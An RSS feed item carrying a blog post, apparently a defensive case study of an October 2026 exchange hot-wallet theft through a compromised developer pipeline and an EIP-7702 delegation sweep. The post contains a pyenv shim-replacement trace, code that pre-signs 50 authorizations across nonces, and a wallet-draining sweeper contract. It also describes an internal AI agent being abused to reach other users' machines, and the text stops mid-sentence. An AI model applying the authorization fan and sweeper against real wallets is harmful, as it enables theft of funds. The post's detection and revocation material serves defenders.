<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by COFFSec on Medium]]></title>
        <description><![CDATA[Stories by COFFSec on Medium]]></description>
        <link>https://medium.com/@coffsec?source=rss-0be1189f4fb4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*tWwn_1a0liYLihNuXqiLFw.png</url>
            <title>Stories by COFFSec on Medium</title>
            <link>https://medium.com/@coffsec?source=rss-0be1189f4fb4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 14 Nov 2026 03:25:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@coffsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Case Study of the Binance Cyber Incident on 29 October 2026: A Signing-Path Compromise and an…]]></title>
            <link>https://coffsec.medium.com/case-study-of-binance-incident-of-29-october-2026-a-signing-path-compromise-and-an-eip-7702-d71ddf6115f9?source=rss-0be1189f4fb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/d71ddf6115f9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[COFFSec]]></dc:creator>
            <pubDate>Mon, 09 Nov 2026 06:46:37 GMT</pubDate>
            <atom:updated>2026-11-11T07:31:04.017Z</atom:updated>
            <content:encoded><![CDATA[<h3>Case Study of the Binance Cyber Incident on 29 October 2026: A Signing-Path Compromise and an EIP-7702 Delegation Sweep</h3><p>How one laptop became a signing request, and how 50 pre-signed EIP-7702 authorizations turned a Binance hot wallet into a sweeper. A source-backed walkthrough of the mechanism, the read-only checks that detect it, and the revocation that took four hours.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SH7JHONb1AREx9vZ7CZ-1w.png" /></figure><h3>Background</h3><p>On 29 October 2026, starting at 20:05 UTC, wallets controlled by Binance began sending customer assets to addresses controlled by a single attacker. Within about twenty minutes, most of the damage was done. Binance reports approximately USD 6.34 billion impacted. TRM Labs, which reconstructed the flows wallet by wallet, counted about USD 6.36 billion across ten blockchains. Both figures make this the largest crypto theft on record, roughly four times the Bybit loss of February 2025.</p><p>The interesting part is not the size. It is the mechanism. No private key was stolen, at least none that Binance or the analytics firms have found. The attacker instead gained the ability to make Binance’s own signing infrastructure sign transactions of the attacker’s choosing. Once you can ask a signer for signatures, you do not need to hold a key. You only need the signer to agree.</p><p>This post rebuilds that mechanism from primary sources: Binance’s incident report of 3 November 2026, TRM Labs’ on-chain reconstruction, the FBI attribution of 31 October 2026, the EIP-7702 specification, and public reporting on the tooling used in the intrusion. It separates what is confirmed from what is assessed, and it shows read-only commands you can run to check the same facts yourself. The tone is defensive by construction. Every technique below is described at the level needed to recognise it and to close the control gap that allowed it.</p><h3>The twenty minutes</h3><ul><li><strong>20:05 to 20:09 UTC, XRP Ledger.</strong> Five Binance wallets sent 233.46 million XRP to a single attacker address, each leaving only its minimum balance. About USD 296 million.</li><li><strong>Shortly after 20:10 UTC, Solana and Optimism.</strong> About 970,500 SOL and 44.2 million OP moved to attacker-controlled addresses.</li><li><strong>20:20 UTC, Bitcoin and Ethereum.</strong> A Binance Bitcoin hot wallet sent 18,270 BTC, about USD 1.47 billion. In the same window, one Ethereum transaction carried 50 EIP-7702 authorizations, each signed by a Binance hot wallet.</li><li><strong>Roughly 20:23 UTC, Ethereum sweep.</strong> Three minutes and twenty-four seconds after the delegation landed, the wallet sent its full balance of 167,464 ETH and 63 tokens, including 1.615 billion USDT.</li><li><strong>Before 20:22 UTC, Tron.</strong> A Binance hot wallet on Tron sent 612.7 million USDT and 46.4 million TRX.</li><li><strong>20:41, 20:59, 21:04, 21:44, 22:39 and 23:56 UTC.</strong> Six further sweeps of the same delegated wallet as new funds arrived.</li><li><strong>23:05 UTC.</strong> A second wave reached Binance wallets on Avalanche and Polygon.</li><li><strong>23:56 UTC.</strong> The final unauthorized transfer, 2,961.9 ETH, finalised on-chain. It had been broadcast earlier and was sitting in the mempool.</li><li><strong>00:10 UTC, 30 October.</strong> Binance signed a new authorization from the Binance14 hot wallet to the zero address, clearing the delegated code. By 3 November, about USD 2.85 billion had been frozen or intercepted, largely by stablecoin issuers and by Arbitrum’s Security Council, which froze 8,426 ETH and 74.6 million ARB on its network. Binance says it has set aside more than 100 percent of the loss and had replenished 98 percent of affected token balances by 31 October. Two numbers in that list are worth keeping: 50 and 4 hours. Fifty is how many signatures the attacker prepared for a single execution. Four hours is how long on-chain state took to reverse once the theft was visible.</li></ul><h3>Part 1: What a hot wallet really is</h3><p>A hot wallet is an account an exchange keeps online because it has to pay withdrawals continuously. The phrase hides three separate things under one name: key material, a signing service, and a policy layer. Most public discussion collapses all three into the word key, which is why incidents like this one look impossible until the details arrive.</p><h3>Three components, three trust boundaries</h3><ul><li><strong>Key material.</strong> The secret that produces signatures. Historically a file on a server, increasingly a share held inside a signing cluster or an HSM.</li><li><strong>The signing service.</strong> The API that other systems call when they need a signature. It receives a transaction, applies rules, collects the required signatures, and returns a signed payload. This is the component the attacker reached.</li><li><strong>The policy layer.</strong> The rules the service enforces: which destinations are allowed, which amounts require what approval, which chains and transaction types are in scope, who can request and who can release. The failure on 29 October was not at the first boundary. It was at the second and third: the attacker got the signer to process requests, and the policy layer did not model what was being requested.</li></ul><h3>What MPC changes, and what it does not</h3><p>The Ethereum hot wallet used threshold signing, usually described as MPC. The private key is never assembled in one place. Each party holds a share, and a quorum of shares produces one valid signature. There is no moment when a complete key exists in memory, which is exactly the property that makes theft of the key material close to impossible.</p><p>The consequence for incident response is concrete and uncomfortable: there is no single file to delete and no single machine to power down that makes the wallet unable to sign. Revoking an on-chain delegation requires a new authorization, which requires a quorum to produce a fresh signature, which takes as long as the quorum takes.</p><p>Binance states this plainly in its report: because the hot wallet used MPC, there was no single private key that could immediately revoke the malicious authorizations, so the team had to build and execute a specialised revocation procedure. That sentence is the whole lesson of this incident in miniature. MPC protects against key theft. It does not protect against a service that has been given the ability to request signatures on its own. Threshold signing raises the cost of stealing a key and does nothing at all when an attacker simply asks the key holder to sign.</p><h3>Why signing access outranks key theft</h3><ul><li><strong>It is durable.</strong> A stolen key can be rotated once someone notices. A signed authorization lives in account state until another authorization replaces it. Rotating keys does not touch it.</li><li><strong>It is plausible.</strong> Requests arriving through the sanctioned service, from an expected network, in an expected format, look like normal operations to every downstream control.</li><li><strong>It is cross-chain.</strong> One signing surface covered ten networks with different key types and signing schemes. The attacker did not need ten compromises.</li><li><strong>It is slow to unwind.</strong> Response depends on quorum, on-chain inclusion and block production, not on flipping a switch in a console.</li></ul><h3>Part 2: The intrusion path</h3><p>Binance describes a multi-stage campaign rather than a single breach. Read it as four moves: reach a developer machine, survive there, expand to people who can deploy, then reach the wallet team’s tooling. Each stage is only useful because of the next one, which is why endpoint controls alone do not stop this class of attack.</p><h3>Stage 1, June 2026: a fake Homebrew page and a swapped pyenv</h3><p>A wallet DevOps engineer searched for a popular AI coding tool and installed it through what looked like Homebrew. The page he reached was a malicious search advertisement, not Homebrew. Binance’s report cites the SANS ISC diary that documents this exact pattern: an advertisement leads to a page impersonating Homebrew, the page asks the visitor to paste a command into Terminal, and the pasted command pulls a second-stage script from an attacker domain.</p><p>On this host, the payload did something more patient than stealing browser cookies. It replaced one component of pyenv, the Python version manager, and left everything else looking normal. Binance published the file operations it observed:</p><pre>CREATE   /opt/homebrew/Cellar/pyenv/2.8.0/libexec/pyenv_<br>MODIFY   pyenv_                                        (3,414 bytes)<br>DELETE   /opt/homebrew/Cellar/pyenv/2.8.0/libexec/pyenv  (3,344 bytes)<br>RENAME   pyenv_  to  pyenv                              (3,414 bytes)<br>DELETE   /opt/homebrew/bin/pyenv                        (3,414 bytes)<br>ln       new symlink for /opt/homebrew/bin/pyenv<br>spawn    zsh</pre><p>Read those seven lines as one idea. The legitimate pyenv binary is deleted. A modified copy is renamed into its place. The user-facing symlink in /opt/homebrew/bin is recreated so it resolves to the modified file. A fresh zsh is spawned, so the environment the developer continues to use is the one the installer just modified.</p><p>Why pyenv, and not something louder? Because pyenv is a shim. Every python invocation in a pyenv-managed setup passes through it. A developer who runs python, pip, pytest or any build tool that shells out to Python executes whatever the shim decides to execute, with the developer’s own permissions, at a moment when nobody is watching for malware.</p><p>Spawning zsh has a second purpose. A new interactive shell re-reads the user’s shell profiles, so anything the installer wrote into those files takes effect without an obvious change in behaviour. On a machine where the payload arrived through a copy-pasted install script, this is the difference between code that runs once and code that runs every session.</p><p>Binance says its security team detected the anomaly, replaced the device and rotated related credentials as a precaution. That response was correct and still insufficient: the role and the working relationships were already exposed. Five months later, the attacker knew exactly which names to approach.</p><h4>What makes this stage succeed</h4><ul><li><strong>The install path was social, not technical.</strong> A paid advertisement and a convincing page beat a signature check because the user chose to run the command.</li><li><strong>Package manager directories are writable by the user.</strong> Anything a developer can install, a developer-level process can replace, and integrity monitoring rarely covers these paths.</li><li><strong>Shims are trusted by everything downstream.</strong> Build tools, IDEs, CI helpers and AI coding assistants all inherit whatever the shim returns.</li><li><strong>The payload was quiet.</strong> No persistence mechanism needing a launch agent, no credential dump at install time, no obvious outbound burst.</li></ul><h4>How to reduce it</h4><ul><li>Ship internal mirrors and pinned installers for developer tooling, and treat the public package manager as untrusted input.</li><li>Monitor writes and renames inside the Homebrew prefix, and hash the common shims: pyenv, pip, python3, node, npm, npx, ruby, gem, git.</li><li>Alert on modifications to shell profiles and rc files on engineering endpoints. A changed .zshrc on a production-access laptop is a security event.</li><li>When a shim or a package changes unexpectedly, treat it as compromise: rebuild the device and rotate everything the user could reach, not just the credentials you believe were touched.</li></ul><h3>Stage 2, September 2026: the interview that was not an interview</h3><p>A software engineer received a message on a legitimate job platform from someone presenting as a project director. His profile mentioned his employer, which is what made the approach credible. The supposed director arranged a first-round interview with an HR representative, then a second-round interview with a person claiming to be the CEO of a young company.</p><p>The first round was a live video interview. The interviewer shared a social media account with personal photos and videos to build trust, which is a level of preparation that earlier campaigns of this kind did not show. The second round moved to a popular chat app. Near the end, the candidate was told to download an assignment: a code repository, to be completed on his work computer. The repository executed code during setup.</p><p>Binance describes obfuscation, replacement of a legitimate development tool component with a modified version, outbound communication with an attacker-controlled server, and trace removal. Endpoint protection did not detect the payload at the time; Binance describes it as a zero-day in that detection context.</p><p>The important engineering point is that none of this needed an exploit. A repository is a delivery format that developers are trained to execute. There are at least four automatic execution points in an ordinary project:</p><ul><li><strong>Package lifecycle hooks.</strong> npm runs postinstall after dependencies install. pip runs arbitrary code in setup.py at install time. Bundler and Composer have equivalents.</li><li><strong>Build and task runners.</strong> A Makefile target, a wrapper script, or a gradle task invoked by the project’s own README.</li><li><strong>Container and dev environment definitions.</strong> A devcontainer postCreateCommand runs the first time the environment opens.</li><li><strong>Editor integration.</strong> A workspace task with runOn folderOpen executes when the folder is opened, before the developer reads a single file. A minimal illustration of the shape, with nothing harmful in it, is the lifecycle hook itself:</li></ul><pre>{<br>  &#39;name&#39;: &#39;interview-assignment&#39;,<br>  &#39;version&#39;: &#39;1.0.0&#39;,<br>  &#39;scripts&#39;: {<br>    &#39;postinstall&#39;: &#39;node scripts/setup.js&#39;<br>  }<br></pre><p>Nothing in that block looks like an attack. It looks like a project that prepares itself. That is precisely why it works: reviewers read the application code, and the hook runs before anyone reads anything.</p><h4>What makes this stage succeed</h4><ul><li><strong>Recruiting is a trusted channel.</strong> Candidates expect to run code for an employer, and refusing looks like a lack of enthusiasm.</li><li><strong>The work computer was used.</strong> The instruction was explicit: run it on the machine you work on daily.</li><li><strong>The tool replacement hides the payload.</strong> Replacing a legitimate component means the process tree and the file path both look correct.</li><li><strong>Detection was behavioural and the payload was new.</strong> Nothing matched a known signature during the window that mattered.</li></ul><h4>How to reduce it</h4><ul><li>Make it policy that no interview artefact runs on a corporate device, and give candidates and employees a disposable VM for exercises.</li><li>Treat any repository from an unverified external party as untrusted code execution, because that is what it is.</li><li>Alert on new outbound destinations from developer endpoints, especially processes whose parent is a package manager.</li><li>Log process ancestry for install hooks. The signal is not the binary, it is the chain: shell to node to network.</li></ul><h3>Stage 3, 20 October 2026: the internal AI tool as a bridge</h3><p>From the compromised machine, the attacker used an internal AI tool to gain control over the wallet DevOps engineer and a second wallet software engineer. Binance does not publish the technical detail of how the tool was abused, so treat the following as the class of flaw rather than a claim about their exact implementation.</p><p>An assistant that can act, rather than only answer, is an execution surface with a friendly interface. It typically runs with the identity and permissions of the user who invokes it, it can read repositories and run commands, it can call internal APIs, and it can open sessions on other machines on the user’s behalf. Those are exactly the properties that make it useful, and exactly the properties that make one compromised laptop into a foothold inside a trust network.</p><p>If the tool also lets a user act on another user’s machine, then authentication is no longer the boundary. The boundary is what the agent is allowed to do once it is authenticated. Binance rebuilt the affected internal AI tool and its access controls, which is a strong signal about where the problem sat: in the tool, not only in the laptop.</p><p>During this stage the attacker also found something more valuable than a password. A container deployment permission token sat on the wallet DevOps engineer’s computer. A long-lived deployment token on a workstation is a cluster credential living in a browser tab: it does not need to be phished, only read.</p><h4>What makes this stage succeed</h4><ul><li><strong>The agent inherited user authority</strong>, including authority over other people’s sessions.</li><li><strong>Deployment rights were standing rights.</strong> The token was valid before the incident, during it, and after it, until someone rotated it.</li><li><strong>The action looked sanctioned.</strong> A request that arrives through the company’s own assistant is not an anomaly to most logging.</li></ul><h4>How to reduce it</h4><ul><li>Scope agent credentials per user and per action, with no cross-user impersonation unless a human approves that specific action.</li><li>Log every tool call the agent makes, with the invoking user, the target, and the effect. An agent without an audit trail is an unmonitored root shell.</li><li>Make deployment credentials short-lived, workload-bound, and never present on endpoints. A laptop should hold no cluster token at rest.</li></ul><h3>Stage 4, 29 October 2026: from a laptop to the signer</h3><p>Between 17:15 and 19:56 UTC, the attacker logged onto the second engineer’s computer, used credentials taken from the wallet DevOps engineer, deployed a container, and triggered a script that launched the attack. The first outflows followed at 20:05 UTC.</p><p>Deploying a container is a quiet way to enter a wallet network. A deployed workload inherits a service identity, sits inside the trust boundary, resolves internal DNS, can reach the signing service over mTLS, and appears in deployment records as a routine job. It is expected to make outbound calls. It is ephemeral, so its image disappears with its namespace, and its identity is a service account rather than a person, so user-behaviour analytics have nothing to compare against.</p><p>That is the answer to the obvious question of how one laptop reached a signing service. It did not reach it directly. It reached a deployment system, and the deployment system reached the signer.</p><p>Roughly twenty-five minutes separated the script starting and the first cross-chain transfers. That gap is the fingerprint of preparation rather than opportunity: code was already written, addresses were already funded, and the signing requests were already scripted.</p><h3>Where this leaves the defender</h3><p>Four stages, five months, and not one of them required breaking cryptography. The next part follows the money into the transaction that actually changed the wallet’s behaviour, because that is the part most security programmes have never modelled.</p><h3>Part 3: The transaction that mattered</h3><p>Nine of the ten chains were drained with ordinary signed transfers. Pause on that, because it is the least dramatic and most important fact in the incident. The attacker could request transfers on chains with different key types and different signing schemes, and receive valid signatures for all of them, within roughly half an hour. Ethereum is where the attack becomes interesting, because there the attacker did not only move funds. The attacker changed what the wallet is.</p><h3>EIP-7702 in one page</h3><p>EIP-7702 shipped with Ethereum’s Pectra upgrade in May 2025. It lets an externally owned account, meaning an ordinary wallet with a private key and no contract code, set code in its own account. The vehicle is a new transaction type, 0x04, called a set-code transaction, which carries a list of authorizations alongside the normal transaction fields. Think of an authorization as a power of attorney attached to a transaction. The account signs a short statement that says: from now on, run this contract’s code as my code. Once applied, every call to the account, including a plain value transfer, executes the delegate’s logic in the account’s own context. Three properties make the mechanism dangerous during an incident:</p><ul><li><strong>It is account state, not a permission in a system you control.</strong> Nothing in the exchange’s IAM, its withdrawal service or its kill switches owns it.</li><li><strong>It survives response actions.</strong> Pausing withdrawals, rebuilding services and rotating keys leave it exactly where it was.</li><li><strong>It changes behaviour rather than moving money.</strong> Controls that ask how much is leaving are blind to a change in what the account does.</li></ul><h3>The delegation indicator is 23 bytes</h3><p>When an authorization is applied, the account’s code is not set to the delegate’s bytecode. It is set to a delegation indicator: the three bytes 0xef0100 followed by the twenty-byte address of the delegate. That is the entire stored code. The 0xef prefix is an instruction to clients that says follow this pointer, and it is why the sequence is invalid as ordinary contract bytecode. Reading the code of an account is therefore a complete answer to the only question that matters during triage: is this account delegated, and to what address?</p><pre>0xef0100 1111111111111111111111111111111111111111<br>   |     \______________________________________/<br>   |                    |<br>   |              delegate address (20 bytes)<br>   |<br>   marker: 0xef0100 followed by a pointer</pre><p>A neat detail that surprises people testing this for the first time: EXTCODESIZE on a delegated account returns 23, the size of the indicator, not the size of the delegate’s code. CODESIZE inside delegated execution returns the delegate’s real size. Both are correct; they answer different questions.</p><h3>The authorization tuple</h3><p>Each entry in the authorization list is a tuple with six fields:</p><ul><li><strong>chain_id.</strong> The chain the authorization is valid on. The value 0 means valid on every chain, which is a useful feature and a serious one in an incident.</li><li><strong>address.</strong> The delegate: the contract whose code the account will run.</li><li><strong>nonce.</strong> The account’s transaction count at the moment the authorization is applied.</li><li><strong>y_parity, r, s.</strong> A secp256k1 signature over the authorization message. The signed message is deterministic and small. It is the Keccak-256 hash of the magic byte 0x05, followed by the RLP encoding of the first three fields only:</li></ul><pre>message = keccak256( 0x05 || rlp([ chain_id, address, nonce ]) )</pre><p>Note what is not in that message. There is no amount, no destination for funds, no expiry, no description of what the delegate will do, and no reference to the outer transaction. The account is not authorising a payment. It is authorising a behaviour. Expressed in Python, with a local test key and no network access, the signing step looks like this:</p><pre>from eth_utils import keccak<br>from eth_keys import keys<br>import rlp<br>MAGIC = bytes([0x05])<br>def auth_hash(chain_id, delegate_hex, nonce):<br>    payload = rlp.encode([<br>        chain_id,<br>        bytes.fromhex(delegate_hex[2:]),<br>        nonce,<br>    ])<br>    return keccak(MAGIC + payload)<br>secret = bytes.fromhex(&#39;00&#39; * 31 + &#39;01&#39;)          # test key, never a real one<br>priv = keys.PrivateKey(secret)<br>h = auth_hash(1, &#39;0x00000000000000000000000000000000000000aa&#39;, 42)<br>sig = priv.sign_msg_hash(h)<br>print(&#39;r        &#39;, hex(sig.r))<br>print(&#39;s        &#39;, hex(sig.s))<br>print(&#39;y_parity &#39;, sig.v)</pre><p>That is the whole signature. Four scalars and an address. It fits in a tweet and it can redirect every asset an account controls, because the delegate decides what a call to the account means.</p><h3>The nonce gate, and why the attacker prepared fifty</h3><p>An authorization is applied only if the account’s current nonce equals the nonce inside the tuple. If it does not match, that tuple is skipped and processing continues with the next one in the list.</p><p>This is the single most important sentence in the entire incident. Why? Because a hot wallet signs withdrawals constantly, so its nonce advances several times a minute. A pre-signed authorization has an expiry date baked into it: the moment the nonce moves, the signature is worthless. An attacker who pre-signs one authorization for nonce n is guessing that the wallet will still be at nonce n when the transaction lands. The attacker did not guess.</p><p>They pre-signed a fan: fifty tuples for fifty consecutive nonces, all pointing at the same sweeper contract, packed into one type-0x04 transaction. When the transaction executed, exactly one tuple matched the current nonce. The other forty-nine failed the nonce check and were skipped without reverting anything.</p><pre>NETWORK = &#39;sepolia&#39;   # example values only<br>def authorization_fan(chain_id, delegate_hex, first_nonce, count):<br>    fan = []<br>    for n in range(first_nonce, first_nonce + count):<br>        fan.append({<br>            &#39;chain_id&#39;: chain_id,<br>            &#39;address&#39;: delegate_hex,<br>            &#39;nonce&#39;: n,<br>            &#39;hash&#39;: auth_hash(chain_id, delegate_hex, n),<br>        })<br>    return fan<br>window = authorization_fan(11155111, &#39;0x00000000000000000000000000000000000000aa&#39;, 900, 50)<br>print(len(window), &#39;candidate authorizations, one will match&#39;)<br>print(&#39;nonce range&#39;, window[0][&#39;nonce&#39;], &#39;to&#39;, window[-1][&#39;nonce&#39;])</pre><p>Coverage of fifty future nonces is effectively certain for a wallet processing withdrawals continuously. It also tells us something about the attacker’s access: producing fifty signatures in advance implies either a batch signing interface or enough time to request them one by one through a service that obliged. Gas is not the constraint. A set-code transaction charges 12,500 gas per authorization at a base rate, with an adjustment when the authorising account is empty. Fifty authorizations cost very little compared with the value they control. The economics of the attack are almost entirely in the preparation, not in the execution.</p><p>Binance describes the same number from the defensive side: the attackers submitted 50 signing transactions to manipulate the account nonce and establish malicious delegation authorizations. Both descriptions agree on the mechanism and disagree only on the word transaction, because from a signing service’s point of view this is fifty requests and from the chain’s point of view it is one.</p><h3>What the sweeper contract does</h3><p>A delegate does not need to be exotic. The attacker’s delegate behaved as a sweeper: on any call, it moves the account’s assets to an address that only the attacker controls.</p><pre>interface IERC20 {<br>    function balanceOf(address who) external view returns (uint256);<br>    function transfer(address to, uint256 amount) external returns (bool);<br>}<br>contract OperatorSweeper {<br>    address public immutable operator;<br>    constructor() {<br>        operator = msg.sender;<br>    }<br>    modifier onlyOperator() {<br>        require(msg.sender == operator, &#39;not operator&#39;);<br>        _;<br>    }<br>    function sweep(address payable sink, address[] calldata tokens) external onlyOperator {<br>        sink.transfer(address(this).balance);<br>        for (uint256 i = 0; i &lt; tokens.length; i++) {<br>            IERC20 token = IERC20(tokens[i]);<br>            uint256 bal = token.balanceOf(address(this));<br>            if (bal &gt; 0) {<br>                token.transfer(sink, bal);<br>            }<br>        }<br>    }<br>}</pre><p>The critical line is not in the contract. It is in how the contract is invoked. Delegated code runs in the authority’s context, so address(this) inside sweep is the hot wallet, not the contract. The contract holds nothing. It instructs the wallet to move the wallet’s own funds, which is why the delegation could be triggered repeatedly as new deposits arrived.</p><h3>Why a policy engine would not have stopped it</h3><p>This is the part to take into your own design review. Enumerate what a naive signing policy inspects and what the transaction actually contained.</p><ul><li><strong>Destination.</strong> The outer transaction’s destination need not be the hot wallet. The authority is recovered from the signature by ecrecover, not named in a field. A policy that reads the outer destination sees an unrelated address.</li><li><strong>Value.</strong> The outer transaction can carry zero value. Nothing is being paid to anyone.</li><li><strong>Amount.</strong> The authorization has no amount field. The amount exists only in the delegate’s logic after the fact.</li><li><strong>Calldata.</strong> The authorisation list is a typed field, not calldata, so patterns that match function selectors do not see it.</li><li><strong>Asset and chain.</strong> A single authorization with chain_id 0 is valid on every chain, so a per-chain allowlist does not contain it.</li><li><strong>Approval screen.</strong> A human approval shows what the transaction does, not what the signature authorises. The difference here was total. In other words, the wallet was not drained by a transaction that looked like a payout. It was drained by a transaction that changed the definition of the wallet, followed by ordinary transfers that the wallet itself initiated.</li></ul><h3>Why pausing withdrawals did not stop the drain</h3><p>Binance’s containment included suspending withdrawals, coordinating freezes with issuers, and revoking permissions. It also states the limitation directly: suspending withdrawals and shutting down hot wallet services did not automatically invalidate existing on-chain authorizations.</p><ul><li><strong>The delegation is state.</strong> It lives in the account, on ten networks, until another authorization replaces it.</li><li><strong>The sweeps are not withdrawals.</strong> They are transactions signed by the wallet, triggered through the delegate. They do not pass through the withdrawal service.</li><li><strong>MPC means no single key.</strong> Recovery needs a quorum, not a rotation, which is a process measured in minutes to hours.</li><li><strong>New deposits kept topping up the target.</strong> Each inbound transfer made the next sweep profitable, which is why the sweeps continued at 20:41, 20:59, 21:04, 21:44, 22:39 and 23:56.</li><li><strong>Revocation must be mined.</strong> It is a transaction competing for inclusion during the busiest hour of the year for the fee market.</li></ul><h3>The transfer that was already in flight</h3><p>The final unauthorized transfer was 2,961.9 ETH. It finalised at 23:56 UTC, but it had been broadcast earlier and was pending in the mempool. This detail matters for response design and is easy to miss. A signed transaction is an obligation. Once broadcast, you cannot withdraw it by turning off a service. You can only compete with it: pay to fill the nonce gap, accelerate the revocation, or convince a block producer otherwise. Nonce ordering makes the situation worse, because a stuck or pending transaction holds the account’s next nonce hostage and blocks your own corrective transactions from landing cleanly. The practical consequence is that incident response for an on-chain signer is not a control-plane operation. It is a fee-market operation with a quorum requirement attached.</p><h3>Where the mechanism ends</h3><p>That is the complete attack path as published: a shim replaced on a laptop, an interview that delivered code, an agent that inherited authority, a deployment that reached a signer, and a delegation that made one wallet obey a stranger. The next part is about proving it, reversing it, and preventing the next version of it.</p><h3>Part 4: Verify an account yourself, with read-only calls</h3><p>You do not need an archive node or an indexer to answer the question that mattered on 29 October. You need eth_getCode. If the account is delegated, the code is the 23-byte indicator, and the last twenty bytes are the delegate. The script below is read-only. It sends one eth_getCode per address to a public RPC endpoint and prints whether the account is clean or delegated.</p><pre>async function getCode(rpcUrl, address) {<br>  const body = JSON.stringify({<br>    jsonrpc: &#39;2.0&#39;,<br>    id: 1,<br>    method: &#39;eth_getCode&#39;,<br>    params: [address, &#39;latest&#39;],<br>  });<br>const res = await fetch(rpcUrl, {<br>    method: &#39;POST&#39;,<br>    headers: { &#39;content-type&#39;: &#39;application/json&#39; },<br>    body: body,<br>  });<br>  const json = await res.json();<br>  return json.result;<br>}<br>function delegationOf(code) {<br>  if (!code || !code.toLowerCase().startsWith(&#39;0xef0100&#39;)) return null;<br>  return &#39;0x&#39; + code.slice(8, 48);<br>}<br>async function main() {<br>  const rpc = &#39;https://ethereum-rpc.publicnode.com&#39;;<br>  const accounts = [<br>    &#39;0x0000000000000000000000000000000000000000&#39;,<br>  ];<br>  for (const address of accounts) {<br>    const code = await getCode(rpc, address);<br>    const delegate = delegationOf(code);<br>    console.log(address, delegate ? &#39;DELEGATED to &#39; + delegate : &#39;clean&#39;);<br>  }<br>}<br>main();</pre><p>Two things to notice in that output. A clean externally owned account returns 0x, an empty string of code. A delegated account returns exactly 23 bytes. There is no third state to interpret, which makes this the cheapest high-value monitor in a treasury or exchange environment: poll every hot wallet on every chain, alert on any non-empty code. If you already have Foundry installed, the same check takes one command, and inspecting the transaction itself takes another.</p><pre># is this account delegated, and to what?<br>cast code 0xYOUR_HOT_WALLET --rpc-url $RPC_URL<br># what did the transaction actually contain?<br>cast tx 0xTRANSACTION_HASH --rpc-url $RPC_URL</pre><p>For a set-code transaction, cast tx prints an authorizationList field. That field is the ground truth of the incident: fifty tuples, one matching nonce, one delegate address. If your monitoring stack can describe a withdrawal in detail but cannot display an authorization list, it cannot see this class of attack at all.</p><h3>What to alert on</h3><ul><li><strong>Account code becoming non-empty.</strong> The highest fidelity signal available. No legitimate withdrawal changes an account’s code.</li><li><strong>Any transaction of type 0x04 involving an address on your watchlist.</strong> The type is the tell, before any decoding.</li><li><strong>Authorizations with chain_id 0.</strong> One signature becomes valid on every chain you operate on.</li><li><strong>Nonce jumps that do not match your own submitted transactions.</strong> A count that moved without a corresponding business event is a signature you did not authorise.</li><li><strong>Signer request logs where the transaction type is not in an approved set.</strong> A signer that does not model type 0x04 has, by definition, approved a class of request nobody designed a rule for.</li></ul><h3>Part 5: Revocation, and why four hours was fast</h3><p>Clearing a delegation is technically simple and operationally slow, and understanding both halves is the difference between a playbook and a hope. To clear it, you sign a new authorization with the delegate address set to the zero address, at the account’s current nonce, and get it included in a transaction. The specification is explicit on this: when the delegate address is the zero address, clients do not write a delegation indicator, they clear the account’s code.</p><pre>const ZERO = &#39;0x0000000000000000000000000000000000000000&#39;;<br>// A revocation is an authorization with address = zero.<br>// It must use the account&#39;s CURRENT nonce, and it must differ per chain<br>// unless you deliberately signed chain_id 0.<br>const revocation = {<br>  chain_id: 1,<br>  address: ZERO,<br>  nonce: currentNonce,<br>};</pre><p>Three conditions make that harder than it looks during an incident.</p><ul><li><strong>The nonce must be right at inclusion time.</strong> The same gate that let the attacker’s fan work also applies to your fix. If the account signs anything else in between, your revocation becomes a dead tuple and you rebuild and retry.</li><li><strong>It must be signed by the quorum.</strong> With threshold signing there is no key to grab. You need the parties, their approvals, and their policy engine to agree, while the policy engine is one of the systems under suspicion.</li><li><strong>It must be done everywhere.</strong> If the attacker’s authorizations used chain_id 0, then the delegation can exist on every network you operate. Revoking on Ethereum mainnet and stopping is an incomplete fix, and the attacker only needs the chain you forgot. Binance cleared the delegation from the Binance14 hot wallet to the zero address at 00:10 UTC on 30 October, roughly four hours after the first sweeps. Given a quorum requirement, a live fee market, and a wallet that was still receiving deposits, four hours is a reasonable engineering outcome and a terrible security outcome. That gap is what a pre-built revocation playbook exists to shrink.</li></ul><h3>Build the playbook before you need it</h3><ul><li>Pre-compute the revocation transaction shape for every delegated or delegatable account you run.</li><li>Pre-agree the quorum call: who can authorise a revocation, on what evidence, at 03:00 local time, without a meeting.</li><li>Pre-delegate a break-glass signer that can revoke without the normal policy engine, because the policy engine may be the compromised component.</li><li>Rehearse it on a testnet wallet with the same MPC configuration. A revocation drill is cheap; discovering the procedure during an incident is not.</li></ul><h3>Part 6: What makes this attack succeed</h3><ul><li><strong>A workstation could reach the signer.</strong> The distance between a developer laptop and a signing service was a deployment token, not an air gap.</li><li><strong>The signer had no rule for transaction class.</strong> Amount and destination rules were in place; the type 0x04 path was not modelled, so it was approved.</li><li><strong>Approval was about money, not authority.</strong> Every control asked what was leaving. None asked what the account was becoming.</li><li><strong>Credentials outlived their context.</strong> A deployment token at rest on an endpoint is a standing cluster permission, valid on the day it was issued and on the day it was abused.</li><li><strong>The AI tool inherited user power.</strong> An agent that can act across users converts one compromised laptop into a path into several.</li><li><strong>Package manager shims were trusted.</strong> Replacing pyenv is 